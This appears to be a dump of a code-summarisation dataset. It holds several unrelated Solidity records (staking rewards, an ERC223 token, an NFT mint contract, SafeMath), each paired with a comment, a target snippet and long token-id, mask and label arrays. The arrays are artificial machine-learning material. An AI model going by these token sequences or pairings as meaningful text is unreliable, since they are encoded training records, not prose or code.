totalUnclaimedRewards += computeUnclaimedRewardForUpComing(_tokenIds[i]);
}
return totalUnclaimedRewards;
}
function getUnclaimedRewardsAmountForSagc(uint256[] calldata _tokenIds) public view returns (uint256) {
uint256 totalUnclaimedRewards = 0;
for(uint256 i = 0; i < _tokenIds.length; i++) {
totalUnclaimedRewards += computeUnclaimedRewardForSagc(_tokenIds[i]);
}
return totalUnclaimedRewards;
}
function getTotalUnclaimedRewardsForLoyalApeContract() public view returns (uint256) {
uint256 totalUnclaimedRewards = 0;
uint256 totalSupply = iLoyalApe.totalSupply();
for(uint256 i = 0; i < totalSupply; i++) {
totalUnclaimedRewards += computeUnclaimedRewardForLoyalApe(i);
}
return totalUnclaimedRewards;
}
function getTotalUnclaimedRewardsForUpComingContract() public view returns (uint256) {
uint256 totalUnclaimedRewards = 0;
uint256 totalSupply = iUpComing.totalSupply();
for(uint256 i = 0; i < totalSupply; i++) {
totalUnclaimedRewards += computeUnclaimedRewardForUpComing(i);
}
return totalUnclaimedRewards;
}
function getTotalUnclaimedRewardsForSagcContract() public view returns (uint256) {
uint256 totalUnclaimedRewards = 0;
uint256 totalSupply = iSagc.totalSupply();
for(uint256 i = 0; i < totalSupply; i++) {
totalUnclaimedRewards += computeUnclaimedRewardForSagc(i);
}
return totalUnclaimedRewards;
}
function getLoyalApeLastClaimedTime(uint256 _tokenId) public view returns (uint256) {
bytes32 lastClaimKey = keccak256(abi.encode(_tokenId));
return loyalApeLastClaim[lastClaimKey];
}
function getUpComingLastClaimedTime(uint256 _tokenId) public view returns (uint256) {
bytes32 lastClaimKey = keccak256(abi.encode(_tokenId));
return upComingLastClaim[lastClaimKey];
}
function getSagcLastClaimedTime(uint256 _tokenId) public view returns (uint256) {
bytes32 lastClaimKey = keccak256(abi.encode(_tokenId));
return sagcLastClaim[lastClaimKey];
}
function computeAccumulatedReward(uint256 _lastClaimDate, uint256 _baseRate, uint256 currentTime) internal pure returns (uint256) {
require(currentTime > _lastClaimDate, "Last claim date must be smaller than block timestamp");
uint256 secondsElapsed = currentTime - _lastClaimDate;
uint256 accumulatedReward = secondsElapsed * _baseRate / 1 days;
return accumulatedReward;
}
function computeUnclaimedRewardForLoyalApe(uint256 _tokenId) internal view returns (uint256) {
// Will revert if tokenId does not exist
iLoyalApe.ownerOf(_tokenId);
// build the hash for lastClaim based on contractAddress and tokenId
bytes32 lastClaimKey = keccak256(abi.encode(_tokenId));
uint256 lastClaimDate = loyalApeLastClaim[lastClaimKey];
uint256 baseRate = loyalApeContractSettings.baseRate;
// if there has been a lastClaim, compute the value since lastClaim
if (lastClaimDate != uint256(0)) {
return computeAccumulatedReward(lastClaimDate, baseRate, block.timestamp);
}
else {
// if there has not been a lastClaim, add the initIssuance + computed value since contract startDate
uint256 totalReward = computeAccumulatedReward(loyalApeContractSettings.start, baseRate, block.timestamp);
return totalReward;
}
}
function computeUnclaimedRewardForUpComing(uint256 _tokenId) internal view returns (uint256) {
// Will revert if tokenId does not exist
iUpComing.ownerOf(_tokenId);
// build the hash for lastClaim based on contractAddress and tokenId
bytes32 lastClaimKey = keccak256(abi.encode(_tokenId));
uint256 lastClaimDate = upComingLastClaim[lastClaimKey];
uint256 baseRate = upComingContractSettings.baseRate;
// if there has been a lastClaim, compute the value since lastClaim
if (lastClaimDate != uint256(0)) {
return computeAccumulatedReward(lastClaimDate, baseRate, block.timestamp);
}
else {
// if there has not been a lastClaim, add the initIssuance + computed value since contract startDate
uint256 totalReward = computeAccumulatedReward(upComingContractSettings.start, baseRate, block.timestamp);
return totalReward;
}
}
function computeUnclaimedRewardForSagc(uint256 _tokenId) internal view returns (uint256) {
// Will revert if tokenId does not exist
iSagc.ownerOf(_tokenId);
// build the hash for lastClaim based on contractAddress and tokenId
bytes32 lastClaimKey = keccak256(abi.encode(_tokenId));
uint256 lastClaimDate = sagcLastClaim[lastClaimKey];
uint256 baseRate = sagcContractSettings.baseRate;
// if there has been a lastClaim, compute the value since lastClaim
if (lastClaimDate != uint256(0)) {
return computeAccumulatedReward(lastClaimDate, baseRate, block.timestamp);
}
else {
// if there has not been a lastClaim, add the initIssuance + computed value since contract startDate
uint256 totalReward = computeAccumulatedReward(sagcContractSettings.start, baseRate, block.timestamp);
return totalReward;
}
}
function setUpComingAddress(address _upComingAddress) public{
require(msg.sender == admin || msg.sender == owner(), "Invalid sender");
UpComingContractAddress = _upComingAddress;
iUpComing = ISagc(_upComingAddress);
}
function setLoyalApeAddress(address _loyalApeAddress) public {
require(msg.sender == admin || msg.sender == owner(), "Invalid sender");
LoyalApeContractAddress = _loyalApeAddress;
iLoyalApe = ISagc(_loyalApeAddress);
}
function setSagcAddress(address _sagcAddress) public{
require(msg.sender == admin || msg.sender == owner(), "Invalid sender");
SagcContractAddress = _sagcAddress;
iSagc = ISagc(_sagcAddress);
}
} | update the lastClaim date for tokenId and contractAddress | function claimRewardsForUpComing(uint256[] calldata _upComingTokenIds) public returns (uint256) {
require(upComingContractSettings.end > block.timestamp, "Time for claiming has expired");
uint256 totalUnclaimedReward2 = 0;
for(uint256 i = 0; i < _upComingTokenIds.length; i++) {
uint256 _upComingTokenId = _upComingTokenIds[i];
require(iUpComing.ownerOf(_upComingTokenId) == msg.sender, "Caller does not own the token being claimed for.");
uint256 unclaimedReward = computeUnclaimedRewardForUpComing(_upComingTokenId);
totalUnclaimedReward2 = totalUnclaimedReward2 + unclaimedReward;
bytes32 lastClaimKey = keccak256(abi.encode(_upComingTokenId));
upComingLastClaim[lastClaimKey] = block.timestamp;
}
emit RewardPaid(msg.sender, totalUnclaimedReward2);
return totalUnclaimedReward2;
}
| 14,831,064 | [
1,
2725,
326,
1142,
9762,
1509,
364,
1147,
548,
471,
6835,
1887,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7516,
17631,
14727,
1290,
1211,
799,
310,
12,
11890,
5034,
8526,
745,
892,
389,
416,
799,
310,
1345,
2673,
13,
1071,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
416,
799,
310,
8924,
2628,
18,
409,
405,
1203,
18,
5508,
16,
315,
950,
364,
7516,
310,
711,
7708,
8863,
203,
203,
3639,
2254,
5034,
2078,
984,
14784,
329,
17631,
1060,
22,
273,
374,
31,
203,
203,
3639,
364,
12,
11890,
5034,
277,
273,
374,
31,
277,
411,
389,
416,
799,
310,
1345,
2673,
18,
2469,
31,
277,
27245,
288,
203,
5411,
2254,
5034,
389,
416,
799,
310,
1345,
548,
273,
389,
416,
799,
310,
1345,
2673,
63,
77,
15533,
203,
203,
5411,
2583,
12,
77,
1211,
799,
310,
18,
8443,
951,
24899,
416,
799,
310,
1345,
548,
13,
422,
1234,
18,
15330,
16,
315,
11095,
1552,
486,
4953,
326,
1147,
3832,
7516,
329,
364,
1199,
1769,
203,
203,
5411,
2254,
5034,
6301,
80,
4581,
329,
17631,
1060,
273,
3671,
984,
14784,
329,
17631,
1060,
1290,
1211,
799,
310,
24899,
416,
799,
310,
1345,
548,
1769,
203,
5411,
2078,
984,
14784,
329,
17631,
1060,
22,
273,
2078,
984,
14784,
329,
17631,
1060,
22,
397,
6301,
80,
4581,
329,
17631,
1060,
31,
203,
203,
5411,
1731,
1578,
1142,
9762,
653,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
24899,
416,
799,
310,
1345,
548,
10019,
203,
5411,
731,
799,
310,
3024,
9762,
63,
2722,
9762,
653,
65,
273,
1203,
18,
5508,
31,
203,
3639,
289,
203,
3639,
3626,
534,
359,
1060,
2
] |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/*
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title ERC223 interface
* @dev see https://github.com/ethereum/EIPs/issues/223
*/
contract ERC223 is ERC20 {
function transfer(address to, uint256 value, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint256 value, bytes data) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint256 value, bytes indexed data);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner{
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract FrozenToken is Ownable {
mapping(address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
modifier requireNotFrozen(address from){
require(!frozenAccount[from]);
_;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint256 _value, bytes _data) public returns (bool ok);
}
contract Standard223Token is ERC223, StandardToken {
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success) {
require(super.transfer(_to, _value));
if (isContract(_to)) return contractFallback(msg.sender, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool success) {
require(super.transferFrom(_from, _to, _value));
if (isContract(_to)) return contractFallback(_from, _to, _value, _data);
return true;
}
function contractFallback(address _from, address _to, uint256 _value, bytes _data) private returns (bool success) {
ERC223Receiver receiver = ERC223Receiver(_to);
return receiver.tokenFallback(_from, _value, _data);
}
function isContract(address _addr) internal view returns (bool is_contract) {
uint256 length;
assembly {length := extcodesize(_addr)}
return length > 0;
}
}
/**
* ERC20 token
* DIO
*/
contract DistributedInvestmentOperationPlatformToken is Pausable, BurnableToken, Standard223Token, FrozenToken {
string public name;
string public symbol;
uint256 public decimals;
constructor (uint256 _initialSupply, string _name, string _symbol, uint256 _decimals) public {
totalSupply_ = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[msg.sender] = _initialSupply;
emit Transfer(0x0, msg.sender, _initialSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_to) returns (bool) {
return transfer(_to, _value, new bytes(0));
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_from) requireNotFrozen(_to) returns (bool) {
return transferFrom(_from, _to, _value, new bytes(0));
}
function approve(address _spender, uint256 _value) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_spender) returns (bool) {
return super.approve(_spender, _value);
}
//ERC223
function transfer(address _to, uint256 _value, bytes _data) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_to) returns (bool success) {
return super.transfer(_to, _value, _data);
}
//ERC223
function transferFrom(address _from, address _to, uint256 _value, bytes _data) public whenNotPaused requireNotFrozen(msg.sender) requireNotFrozen(_from) requireNotFrozen(_to) returns (bool success) {
return super.transferFrom(_from, _to, _value, _data);
}
} | * @title Basic token @dev Basic version of StandardToken, with no allowances./ | contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
| 12,805,903 | [
1,
8252,
1147,
225,
7651,
1177,
434,
8263,
1345,
16,
598,
1158,
1699,
6872,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
7651,
1345,
353,
4232,
39,
3462,
8252,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
324,
26488,
31,
203,
203,
565,
2254,
5034,
2078,
3088,
1283,
67,
31,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
2078,
3088,
1283,
67,
31,
203,
565,
289,
203,
203,
203,
565,
445,
7412,
12,
2867,
389,
869,
16,
2254,
5034,
389,
1132,
13,
1071,
1135,
261,
6430,
13,
288,
203,
3639,
2583,
24899,
869,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
24899,
1132,
1648,
324,
26488,
63,
3576,
18,
15330,
19226,
203,
203,
3639,
324,
26488,
63,
3576,
18,
15330,
65,
273,
324,
26488,
63,
3576,
18,
15330,
8009,
1717,
24899,
1132,
1769,
203,
3639,
324,
26488,
63,
67,
869,
65,
273,
324,
26488,
63,
67,
869,
8009,
1289,
24899,
1132,
1769,
203,
3639,
3626,
12279,
12,
3576,
18,
15330,
16,
389,
869,
16,
389,
1132,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
389,
8443,
13,
1071,
1476,
1135,
261,
11890,
5034,
11013,
13,
288,
203,
3639,
327,
324,
26488,
63,
67,
8443,
15533,
203,
565,
289,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Credit goes to CryptoChicks project https://etherscan.io/address/0x1981CC36b59cffdd24B01CC5d698daa75e367e04#code
contract UndeadPresidents is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
uint256 public constant MAX_ELEMENTS = 2850; // Total purchasable tokens
uint256 public constant PRICE = 80 * 10**15; // .08 eth
uint256 public constant MAX_BY_MINT = 10; // Maximum purchasable tokens per transaction after presale
uint256 public constant MAX_BY_MINT_WHITELIST = 10; // Maximum purchasable tokens per account during presale
uint256 public constant MAX_RESERVE_COUNT = 150; // Total reserved tokens
uint256 public constant LAUNCH_TIMESTAMP = 1635379200; // Monday October 28 2021 00:00:00 GMT+0000
bool public isSaleOpen = false;
bool public isPresaleOpen = false;
mapping(address => bool) private _whiteList;
mapping(address => uint256) private _whiteListClaimed;
uint256 private _reservedCount = 0;
address public constant t1 = 0x71959E2C8337493368c000ef0F1c98c8bB79A7af; // 40%
address public constant t2 = 0xAe285D3FA6aCE812E3A54f7713E6008F157DfC66; // 40%
address public constant t3 = 0x2fc75c3bA5B199323C3f919c594D2C061cc689DD; // 10%
address public constant t4 = 0xb4ce79c7592f53505d551cB57439Fc16a9e0eF5C; // 10%
string public baseTokenURI;
event CreateUndeadPresident(uint256 indexed id);
constructor(string memory baseURI) ERC721("Undead President", "UNP") {
setBaseURI(baseURI);
}
modifier saleIsOpen() {
if (_msgSender() != owner()) {
require(isSaleOpen, "Sale is not open");
}
_;
}
function _totalSupply() internal view returns (uint256) {
return _tokenIdTracker.current();
}
function totalMint() public view returns (uint256) {
return _totalSupply();
}
function reserveTokens(address _to, uint256 _count) public onlyOwner {
require(
_reservedCount + _count <= MAX_RESERVE_COUNT,
"Max reserve exceeded"
);
uint256 i;
for (i = 0; i < _count; i++) {
_reservedCount++;
_mintAnElement(_to);
}
}
function mint(address _to, uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(total + _count <= MAX_ELEMENTS, "Max limit");
require(total <= MAX_ELEMENTS, "All UndeadPresidents are sold out");
require(_count <= MAX_BY_MINT, "Exceeds number");
require(msg.value >= price(_count), "Value below price");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function presaleMint(uint256 _count) public payable {
require(isPresaleOpen, "Presale is not open");
require(_whiteList[msg.sender], "You are not in the presale whitelist");
require(_count <= MAX_BY_MINT_WHITELIST, "Incorrect amount to claim");
require(
_whiteListClaimed[msg.sender] + _count <= MAX_BY_MINT_WHITELIST,
"Purchase exceeds max allowed during presale"
);
uint256 total = _totalSupply();
require(total + _count <= MAX_ELEMENTS, "Max limit");
require(total <= MAX_ELEMENTS, "All UndeadPresidents are sold out");
require(msg.value >= price(_count), "Value below price");
for (uint256 i = 0; i < _count; i++) {
_whiteListClaimed[msg.sender] += 1;
_mintAnElement(msg.sender);
}
}
function _mintAnElement(address _to) private {
uint256 id = _totalSupply();
_tokenIdTracker.increment();
_safeMint(_to, id);
emit CreateUndeadPresident(id);
}
function price(uint256 _count) public pure returns (uint256) {
return PRICE.mul(_count);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
function walletOfOwner(address _owner)
external
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function setSaleOpen(bool _isSaleOpen) external onlyOwner {
isSaleOpen = _isSaleOpen;
}
function setPresaleOpen(bool _isPresaleOpen) external onlyOwner {
isPresaleOpen = _isPresaleOpen;
}
function addToWhiteList(address[] calldata addresses) external onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Null address found");
_whiteList[addresses[i]] = true;
_whiteListClaimed[addresses[i]] > 0
? _whiteListClaimed[addresses[i]]
: 0;
}
}
function addressInWhitelist(address addr) external view returns (bool) {
return _whiteList[addr];
}
function removeFromWhiteList(address[] calldata addresses)
external
onlyOwner
{
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Null address found");
_whiteList[addresses[i]] = false;
}
}
function withdrawAll() external onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0);
uint256 withdrawal = balance.mul(40).div(100);
_withdraw(t1, withdrawal);
_withdraw(t2, withdrawal);
uint256 withdrawalSecondary = balance.mul(10).div(100);
_withdraw(t3, withdrawalSecondary);
_withdraw(t4, withdrawalSecondary);
}
function _withdraw(address _address, uint256 _amount) private {
payable(_address).transfer(_amount);
}
}
| Total purchasable tokens
| uint256 public constant MAX_ELEMENTS = 2850; | 12,591,570 | [
1,
5269,
5405,
343,
345,
429,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
5381,
4552,
67,
10976,
55,
273,
9131,
3361,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
